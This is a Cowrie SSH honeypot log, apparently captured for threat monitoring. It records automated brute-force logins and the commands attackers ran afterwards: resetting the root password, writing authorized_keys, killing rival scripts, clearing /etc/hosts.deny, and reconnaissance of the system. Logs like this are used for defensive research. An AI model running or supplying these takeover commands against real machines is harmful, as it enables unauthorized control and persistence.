{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:14.962479Z","src_ip":"211.106.133.202","session":"277d6d45c002","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:14.966275Z","src_ip":"211.106.133.202","session":"277d6d45c002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":37006,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a99ae9b4eb4","protocol":"ssh","message":"New connection: 211.106.133.202:37006 (159.203.135.109:22) [session: 2a99ae9b4eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:15.168195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:15.176318Z","src_ip":"211.106.133.202","session":"2a99ae9b4eb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:15.380786Z","src_ip":"211.106.133.202","session":"2a99ae9b4eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:15.882618Z","src_ip":"20.244.18.126","session":"20036e1bf096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:16.193028Z","src_ip":"211.106.133.202","session":"2a99ae9b4eb4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:16.670278Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:16.672729Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:16.745562Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:16.917883Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"root:hVXrgVMGt03y\"|chpasswd|bash","message":"CMD: echo \"root:hVXrgVMGt03y\"|chpasswd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:16.921137Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab418f024958948915e4f477a0ff0f94aa9ec5a6066688f4430b46e51bb360cf","size":24,"shasum":"ab418f024958948915e4f477a0ff0f94aa9ec5a6066688f4430b46e51bb360cf","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab418f024958948915e4f477a0ff0f94aa9ec5a6066688f4430b46e51bb360cf after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:16.991604Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.211353Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","message":"CMD: rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.214573Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","shasum":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","destfile":"/etc/hosts.deny","message":"Saved redir contents with SHA-256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b to var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.289237Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","size":0,"shasum":"a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.293009Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.471322Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.474796Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.482572Z","src_ip":"211.106.133.202","session":"2a99ae9b4eb4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.550344Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":27744,"dst_ip":"159.203.135.109","dst_port":22,"session":"7153d2d64338","protocol":"ssh","message":"New connection: 211.106.133.202:27744 (159.203.135.109:22) [session: 7153d2d64338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.622758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.627680Z","src_ip":"211.106.133.202","session":"7153d2d64338","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.728868Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.732329Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.804426Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:17.834240Z","src_ip":"211.106.133.202","session":"7153d2d64338","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.024305Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.028146Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.031821Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.105855Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.281783Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.284768Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":20,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.355259Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.535704Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.539160Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.611139Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.784630Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.788467Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.795258Z","src_ip":"211.106.133.202","session":"7153d2d64338","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:18.860045Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.034465Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.037832Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.045796Z","src_ip":"211.106.133.202","session":"277d6d45c002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.049953Z","src_ip":"211.106.133.202","session":"7153d2d64338","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.110582Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.290623Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.294093Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.366492Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.546843Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.550782Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.622358Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.795093Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.798228Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:19.868904Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:20.050282Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:20.053969Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":5,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:20.125113Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:20.291423Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:20.295032Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
